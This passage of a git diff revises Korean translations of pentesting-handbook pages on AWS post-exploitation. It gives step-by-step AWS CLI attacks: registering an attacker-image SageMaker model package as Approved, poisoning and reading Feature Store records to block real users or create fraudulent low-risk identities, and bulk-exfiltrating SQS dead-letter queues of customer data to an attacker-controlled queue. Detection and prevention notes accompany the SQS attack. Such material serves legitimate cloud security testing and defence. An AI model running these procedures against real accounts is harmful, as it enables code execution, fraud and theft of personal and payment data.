service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy. +만약 attacker가 대상 SageMaker Model Package Group에서 CreateModelPackage를 수행할 수 있다면, attacker-controlled container image를 가리키는 새 모델 버전을 등록하고 즉시 Approved로 표시할 수 있습니다. 많은 CI/CD 파이프라인이 Approved 모델 버전을 endpoints 또는 training jobs에 자동 배포하므로 서비스의 실행 역할 하에서 attacker code execution이 발생할 수 있습니다. permissive ModelPackageGroup resource policy는 계정 간 노출을 확대할 수 있습니다. ### 요구사항 -- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup -- 선택 사항 (그룹이 없을 경우 생성하기 위해): `sagemaker:CreateModelPackageGroup` -- S3: 참조된 ModelDataUrl에 대한 Read access (또는 attacker-controlled artifacts 호스팅) -- 대상: 다운스트림 자동화가 Approved 버전을 감시하는 Model Package Group +- IAM (기존 그룹을 poison하기 위한 최소 권한): `sagemaker:CreateModelPackage` on the target ModelPackageGroup +- Optional (그룹이 존재하지 않을 경우 생성하기 위해): `sagemaker:CreateModelPackageGroup` +- S3: 참조된 ModelDataUrl에 대한 Read access(또는 attacker-controlled artifacts 호스팅) +- Target: downstream automation이 Approved 버전을 감시하는 Model Package Group ### 단계 -1) 리전 설정 및 대상 Model Package Group 생성/검색 +1) 리전 설정하고 대상 Model Package Group을 생성하거나 찾기 ```bash REGION=${REGION:-us-east-1} MPG=victim-group-$(date +%s) aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" ``` -2) S3에 더미 모델 데이터 준비 +2) S3에 더미 모델 데이터를 준비합니다 ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-mpkg-$ACC-$(date +%s) @@ -145,7 +143,7 @@ aws s3 mb s3://$BUCKET --region $REGION head -c 1024 /tmp/model.tar.gz aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION ``` -3) AWS의 공개 DLC image를 참조하는 악성(여기서는 무해한) Approved model package version 등록하기 +3) 공개된 AWS DLC 이미지를 참조하는 악의적인(여기서는 무해한) 승인된 모델 패키지 버전을 등록 ```bash IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" cat > /tmp/inf.json << JSON @@ -162,18 +160,19 @@ cat > /tmp/inf.json << JSON JSON aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json ``` -4) 새로 승인된 버전이 존재하는지 확인 +4) 새로운 Approved 버전이 존재하는지 확인 ```bash aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table ``` ### 영향 -- 공격자가 제어하는 코드를 참조하는 Approved 버전으로 Model Registry를 오염시킬 수 있습니다. Approved 모델을 자동으로 배포하는 Pipelines는 공격자 이미지(attacker image)를 가져와 실행할 수 있으며, 그 결과 endpoint/training roles 권한으로 코드 실행이 발생할 수 있습니다. -- 권한이 느슨한 ModelPackageGroup 리소스 정책(PutModelPackageGroupPolicy)이 설정된 경우, 이 악용은 cross-account로도 유발될 수 있습니다. +- 공격자가 제어하는 코드를 참조하는 Approved 버전으로 Model Registry를 오염시킬 수 있습니다. Approved 모델을 자동으로 배포하는 파이프라인은 공격자 이미지를 pull하여 실행할 수 있으며, 이로 인해 endpoint/training roles 권한으로 코드 실행이 발생할 수 있습니다. +- 권한이 느슨한 ModelPackageGroup 리소스 정책 (PutModelPackageGroupPolicy)이 있으면 이 악용은 cross-account로 트리거될 수 있습니다. -## Feature store 오염 +## Feature store poisoning -`sagemaker:PutRecord` 권한을 사용해 OnlineStore가 활성화된 Feature Group에서 online inference에 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자가 민감한 feature를 읽을 수 있습니다. 이 공격은 models나 endpoints에 대한 접근을 필요로 하지 않습니다. +OnlineStore가 활성화된 Feature Group에서 `sagemaker:PutRecord`를 악용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자는 민감한 feature를 읽을 수 있습니다. 이는 모델이나 엔드포인트에 대한 접근 권한을 필요로 하지 않습니다. {{#ref}} feature-store-poisoning.md {{/ref}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index 6b45a9d74..ec91e86c5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,17 +1,19 @@ # SageMaker Feature Store online store poisoning -`sagemaker:PutRecord`을 OnlineStore가 활성화된 Feature Group에서 악용하여 온라인 추론에서 사용되는 라이브 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자는 민감한 feature를 읽고 기밀 ML 데이터를 유출할 수 있습니다. 이 공격은 모델이나 endpoints에 대한 접근을 요구하지 않으므로 직접적인 데이터 계층 공격입니다. +{{#include ../../../../banners/hacktricks-training.md}} -## Requirements +OnlineStore가 활성화된 Feature Group에 대해 `sagemaker:PutRecord`를 악용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있다. `sagemaker:GetRecord`와 결합하면 공격자는 민감한 feature 값을 읽을 수 있다. 이 공격은 모델이나 엔드포인트에 대한 접근 권한이 필요하지 않다. + +## 요구사항 - 권한: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` - 대상: OnlineStore가 활성화된 Feature Group (일반적으로 실시간 추론을 지원) - 복잡도: **LOW** - 간단한 AWS CLI 명령, 모델 조작 불필요 -## Steps +## 단계 ### Reconnaissance -1) OnlineStore가 활성화된 Feature Group 나열 +1) OnlineStore가 활성화된 Feature Group 목록 나열 ```bash REGION=${REGION:-us-east-1} aws sagemaker list-feature-groups \ @@ -19,25 +21,25 @@ aws sagemaker list-feature-groups \ --query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ --output table ``` -2) 대상 Feature Group의 스키마를 이해하기 위해 Describe합니다. +2) 대상 Feature Group의 스키마를 이해하기 위해 설명한다 ```bash FG= aws sagemaker describe-feature-group \ --region $REGION \ --feature-group-name "$FG" ``` -다음 항목인 `RecordIdentifierFeatureName`, `EventTimeFeatureName` 및 모든 feature 정의를 확인하세요. 이는 유효한 레코드를 작성하는 데 필요합니다. +유효한 레코드를 생성하려면 `RecordIdentifierFeatureName`, `EventTimeFeatureName` 및 모든 feature 정의를 확인하세요. -### 공격 시나리오 1: Data Poisoning (Overwrite Existing Records) +### 공격 시나리오 1: Data Poisoning (기존 레코드 덮어쓰기) -1) 현재 정상 레코드를 읽습니다. +1) 현재 정상적인 레코드를 읽는다. ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -2) 인라인 `--record` 매개변수를 사용하여 레코드를 악성 값으로 오염시킵니다. +2) inline `--record` 매개변수를 사용하여 레코드에 악성 값을 주입합니다 ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \ ]" \ --target-stores OnlineStore ``` -3) 오염된 데이터 검증 +3) 오염된 데이터 확인 ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -**영향**: 이 피처를 사용하는 ML 모델은 합법적인 사용자에 대해 `risk_score=0.99`를 보게 되어 거래나 서비스가 차단될 수 있습니다. +**영향**: 해당 기능을 사용하는 ML models는 정당한 사용자에 대해 `risk_score=0.99`를 보게 되어 거래나 서비스가 차단될 수 있습니다. -### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records) +### 공격 시나리오 2: Malicious Data Injection (Create Fraudulent Records) -보안 통제를 회피하기 위해 조작된 피처를 가진 완전히 새로운 레코드를 주입합니다: +보안 통제를 회피하기 위해 조작된 특성으로 완전히 새로운 레코드를 주입합니다: ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -89,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-999 ``` -**영향**: Attacker는 낮은 risk score (0.01)를 가진 fake identity를 생성하여 fraud detection을 유발하지 않고 고액의 fraudulent transactions를 수행할 수 있습니다. +**영향**: 공격자는 낮은 리스크 점수(0.01)를 가진 가짜 신원을 생성하여 사기 탐지 시스템을 유발하지 않고 고액의 사기 거래를 수행할 수 있습니다. ### 공격 시나리오 3: 민감한 데이터 유출 -여러 레코드를 읽어 기밀 features를 추출하고 모델 동작을 프로파일링합니다: +여러 레코드를 읽어 기밀 특성(feature)을 추출하고 모델 동작을 프로파일링합니다: ```bash # Exfiltrate data for known users for USER_ID in user-001 user-002 user-003 user-999; do @@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \ --record-identifier-value-as-string ${USER_ID} done ``` -**영향**: 기밀 피처(위험 점수, 거래 패턴, 개인 데이터)가 공격자에게 노출될 수 있음. +**영향**: 기밀 feature(위험 점수, 거래 패턴, 개인 데이터)가 공격자에게 노출될 수 있음. -### 테스트/데모 Feature Group 생성(선택사항) +### 테스트/데모 Feature Group 생성 (선택 사항) 테스트 Feature Group을 생성해야 하는 경우: ```bash @@ -141,20 +143,6 @@ fi echo "Feature Group ready: $FG" ``` -## 탐지 - -CloudTrail에서 의심스러운 패턴을 모니터링: -- `PutRecord` 이벤트가 비정상적인 IAM 주체 또는 IP addresses에서 발생 -- 높은 빈도의 `PutRecord` 또는 `GetRecord` 호출 -- 비정상적인 특성 값이 포함된 `PutRecord` (예: risk_score가 정상 범위를 벗어남) -- 대규모 exfiltration을 시사하는 대량의 `GetRecord` 작업 -- 정상 근무 시간 외 또는 예상치 못한 위치에서의 액세스 - -이상 탐지 구현: -- 특성 값 검증(예: risk_score는 0.0-1.0이어야 함) -- 쓰기 패턴 분석(빈도, 시점, 출처 식별자) -- 데이터 드리프트 탐지(특성 분포의 급격한 변화) - -## References +## 참고자료 - [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) - [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md index f1133b19b..4a40d902d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -1,53 +1,55 @@ # AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask -## 설명 +{{#include ../../../banners/hacktricks-training.md}} -`StartMessageMoveTask`을 사용하여 SQS 메시지 이동 작업을 악용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 공격자가 제어하는 큐로 리디렉션하여 훔칩니다. 이 기법은 AWS의 정당한 메시지 복구 기능을 악용해 시간이 지나며 DLQ에 누적된 민감한 데이터를 유출합니다. +## Description -## Dead-Letter Queue (DLQ)란 무엇인가? +`SQS` 메시지 이동 작업을 악용해 피해자의 Dead-Letter Queue (DLQ)에 누적된 모든 메시지를 `sqs:StartMessageMoveTask`를 사용해 공격자가 제어하는 큐로 리디렉션하여 탈취합니다. 이 기법은 AWS의 정상적인 메시지 복구 기능을 악용해 시간이 지나며 DLQ에 축적된 민감한 데이터를 exfiltrate합니다. -Dead-Letter Queue는 메인 애플리케이션에서 정상적으로 처리되지 못한 메시지들이 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지에는 종종 다음이 포함됩니다: +## What is a Dead-Letter Queue (DLQ)? + +Dead-Letter Queue는 주 애플리케이션이 정상적으로 처리하지 못한 메시지들이 자동으로 전송되는 특수한 SQS 큐입니다. 이러한 실패한 메시지들은 종종 다음을 포함합니다: - 처리되지 못한 민감한 애플리케이션 데이터 - 오류 세부 정보 및 디버깅 정보 - Personal Identifiable Information (PII) -- API tokens, 자격 증명 또는 기타 비밀 -- 비즈니스에 중요한 거래 데이터 +- API 토큰, 자격 증명 또는 기타 비밀 +- 비즈니스에 중요한 트랜잭션 데이터 -DLQ는 실패한 메시지들의 "묘지" 역할을 하므로, 애플리케이션이 제대로 처리하지 못해 시간이 지나며 민감한 데이터가 누적되기 때문에 가치 있는 타깃이 됩니다. +DLQ는 실패한 메시지들의 "무덤" 역할을 하며, 애플리케이션이 제대로 처리하지 못해 시간이 지나며 민감한 데이터를 축적하므로 매우 가치 있는 표적이 됩니다. -## 공격 시나리오 +## Attack Scenario **Real-world example:** -1. **E-commerce application**이 SQS를 통해 고객 주문을 처리한다. -2. **일부 주문이 실패한다** (결제 문제, 재고 문제 등) 그리고 DLQ로 이동된다. -3. **DLQ에 수주/수개월치의 실패한 주문이 누적된다**, 고객 데이터가 포함되어 있음: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **공격자가 SQS 권한이 있는 AWS 자격증명을 획득한다.** -5. **공격자가 DLQ에 수천 건의 민감한 실패 주문이 있음을 발견한다.** -6. **개별 메시지에 접근하려 시도하는 대신** (느리고 눈에 띔), 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송한다. -7. **공격자는** 한 번의 작업으로 모든 과거 민감 데이터를 추출한다. +1. **E-commerce application**이 SQS를 통해 고객 주문을 처리함 +2. **일부 주문이 실패**(결제 문제, 재고 문제 등)하여 DLQ로 이동함 +3. **DLQ에 수주/수개월치의 실패한 주문이 누적**되어 고객 데이터가 포함됨: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **공격자가 AWS 자격 증명**을 탈취하고 SQS 권한을 획득함 +5. **공격자는 DLQ에 수천 건의 민감한 실패 주문이 있음을 발견** +6. **개별 메시지에 접근하려고 시도하는 대신**(느리고 눈에 띔) 공격자는 `StartMessageMoveTask`를 사용해 모든 메시지를 자신의 큐로 일괄 전송 +7. **공격자는 한 번의 작업으로** 과거에 축적된 모든 민감한 데이터를 추출 -## 요구 조건 -- 출발 큐는 어떤 큐의 RedrivePolicy에 의해 참조되는 DLQ로 구성되어 있어야 합니다. -- IAM 권한 (손상된 피해자 주체로 실행): -- DLQ(출발지)에서: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- 대상 큐에서: 메시지 전달 권한(예: 피해자 주체로부터의 `sqs:SendMessage`를 허용하는 큐 정책). 동일 계정 내 대상의 경우 일반적으로 기본적으로 허용됩니다. -- SSE-KMS가 활성화된 경우: 출발지 CMK에 대해 `kms:Decrypt`, 대상 CMK에 대해 `kms:GenerateDataKey`, `kms:Encrypt`. +## Requirements +- 소스 큐는 반드시 DLQ로 구성되어 있어야 함(적어도 하나의 큐 RedrivePolicy로 참조됨). +- IAM 권한(피해자 주체로 실행): +- 소스(DLQ)에서: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. +- 대상 큐에서: 메시지 전달 권한(예: 피해자 주체로부터의 `sqs:SendMessage`를 허용하는 큐 정책). 동일 계정 내 대상의 경우 일반적으로 기본적으로 허용됨. +- SSE-KMS가 활성화된 경우: 소스 CMK에 대해 `kms:Decrypt`, 대상 CMK에 대해 `kms:GenerateDataKey`, `kms:Encrypt`. -## 영향 -네이티브 SQS API를 사용해 DLQ에 누적된 민감한 페이로드(실패 이벤트, PII, 토큰, 애플리케이션 페이로드)를 고속으로 유출할 수 있습니다. 대상 큐 정책이 피해자 주체로부터의 `SendMessage`를 허용하면 크로스-어카운트에서도 작동합니다. +## Impact +DLQ에 축적된 민감한 페이로드(실패 이벤트, PII, 토큰, 애플리케이션 페이로드 등)를 네이티브 SQS API를 사용해 고속으로 exfiltrate할 수 있습니다. 대상 큐 정책이 피해자 주체의 `SendMessage`를 허용하면 cross-account에서도 동작합니다. -## 악용 방법 +## How to Abuse -- 피해자 DLQ ARN을 식별하고 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 괜찮음). -- 공격자가 제어하는 대상 큐를 생성하거나 선택하고 해당 ARN을 가져옵니다. -- 피해자 DLQ에서 당신의 대상 큐로 메시지 이동 작업을 시작합니다. -- 진행 상황을 모니터링하거나 필요 시 작업을 취소합니다. +- 피해자 DLQ ARN을 식별하고 실제로 어떤 큐에 의해 DLQ로 참조되고 있는지 확인합니다(어떤 큐든 상관없음). +- 공격자가 제어하는 대상 큐를 생성하거나 선택하고 그 ARN을 확보합니다. +- 피해자 DLQ에서 공격자 큐로 메시지 이동 작업을 시작합니다. +- 진행 상황을 모니터링하거나 필요 시 취소합니다. -### CLI 예제: E-commerce DLQ에서 고객 데이터 Exfiltrating +### CLI Example: Exfiltrating Customer Data from E-commerce DLQ -**시나리오**: 공격자가 AWS 자격증명을 탈취했으며, e-commerce 애플리케이션이 실패한 고객 주문 처리 시도를 포함하는 DLQ를 사용하는 SQS를 사용하고 있음을 발견했습니다. +**Scenario**: 공격자가 AWS 자격 증명을 탈취했고, 전자상거래 애플리케이션이 실패한 고객 주문 처리 시도를 포함하는 DLQ를 사용하고 있음을 발견함. -1) **피해자 DLQ 발견 및 조사** +1) **Discover and examine the victim DLQ** ```bash # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) aws sqs list-queues --queue-name-prefix dlq @@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ --attribute-names ApproximateNumberOfMessages # Output might show: "ApproximateNumberOfMessages": "1847" ``` -2) **attacker-controlled destination queue 생성** +2) **공격자가 제어하는 대상 큐 생성** ```bash # Create our exfiltration queue ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) @@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at echo "Created exfiltration queue: $ATTACKER_Q_ARN" ``` -3) **대량 메시지 탈취 실행** +3) **bulk message theft 실행** ```bash # Start moving ALL messages from victim DLQ to our queue # This operation will transfer thousands of failed orders containing customer data @@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE" # Monitor the theft progress aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 ``` -4) **도난당한 민감한 데이터를 수집** +4) **도난당한 민감한 데이터 수집하기** ```bash # Receive the exfiltrated customer data echo "Receiving stolen customer data..." @@ -113,21 +115,21 @@ echo "Received batch of stolen data..." echo "$MESSAGES" >> stolen_customer_data.json done ``` -### 교차 계정 관련 주의사항 -- 대상 큐는 피해자 주체가 `sqs:SendMessage`를 수행할 수 있도록 허용하는 리소스 정책을 가져야 합니다(및 사용되는 경우, KMS grants/permissions). +### 교차 계정 주의사항 +- 대상 큐에는 피해자 주체가 `sqs:SendMessage`를 할 수 있도록 허용하는 리소스 정책이 있어야 합니다 (사용하는 경우 KMS grants/permissions 포함). ## 이 공격이 효과적인 이유 -1. **Legitimate AWS Feature**: 내장된 AWS 기능을 사용하므로 악의적 활동으로 탐지하기 어렵습니다 -2. **Bulk Operation**: 느리게 하나씩 접근하는 대신 수천 건의 메시지를 빠르게 전송할 수 있습니다 -3. **Historical Data**: DLQs는 몇 주/몇 달에 걸쳐 민감한 데이터를 축적합니다 +1. **Legitimate AWS Feature**: 빌트인 AWS 기능을 사용하므로 악의적 활동으로 탐지되기 어렵습니다 +2. **Bulk Operation**: 느린 개별 접근 대신 수천 개의 메시지를 빠르게 전송합니다 +3. **Historical Data**: DLQs는 수주/수개월에 걸쳐 민감한 데이터를 축적합니다 4. **Under the Radar**: 많은 조직이 DLQ 접근을 면밀히 모니터링하지 않습니다 -5. **Cross-Account Capable**: 권한이 허용되면 공격자의 자체 AWS 계정으로 exfiltrate할 수 있습니다 +5. **Cross-Account Capable**: 권한이 허용되면 공격자의 AWS 계정으로 exfiltrate할 수 있습니다 -## 탐지 및 방지 +## Detection and Prevention -### 탐지 -의심스러운 `StartMessageMoveTask` API 호출에 대해 CloudTrail을 모니터링하세요: +### Detection +의심스러운 `StartMessageMoveTask` API 호출을 CloudTrail에서 모니터링하세요: ```json { "eventName": "StartMessageMoveTask", @@ -143,8 +145,10 @@ done } ``` ### 예방 -1. **최소 권한**: `sqs:StartMessageMoveTask` 권한을 필요한 역할에만 제한하세요 +1. **최소 권한**: 필요한 역할에만 `sqs:StartMessageMoveTask` 권한을 제한하세요 2. **DLQs 모니터링**: 비정상적인 DLQ 활동에 대해 CloudWatch 경보를 설정하세요 -3. **교차 계정 정책**: 교차 계정 액세스를 허용하는 SQS 큐 정책을 신중히 검토하세요 -4. **DLQs 암호화**: 제한된 키 정책으로 SSE-KMS를 사용하세요 -5. **정기적 정리**: 민감한 데이터가 DLQs에 무기한 쌓이지 않도록 하세요 +3. **교차 계정 정책**: 교차 계정 접근을 허용하는 SQS 큐 정책을 주의 깊게 검토하세요 +4. **DLQs 암호화**: 제한된 키 정책을 가진 SSE-KMS를 사용하세요 +5. **정기 정리**: 민감한 데이터가 DLQs에 무기한 누적되지 않도록 하세요 + +{{#include ../../../banners/hacktricks-training.md}}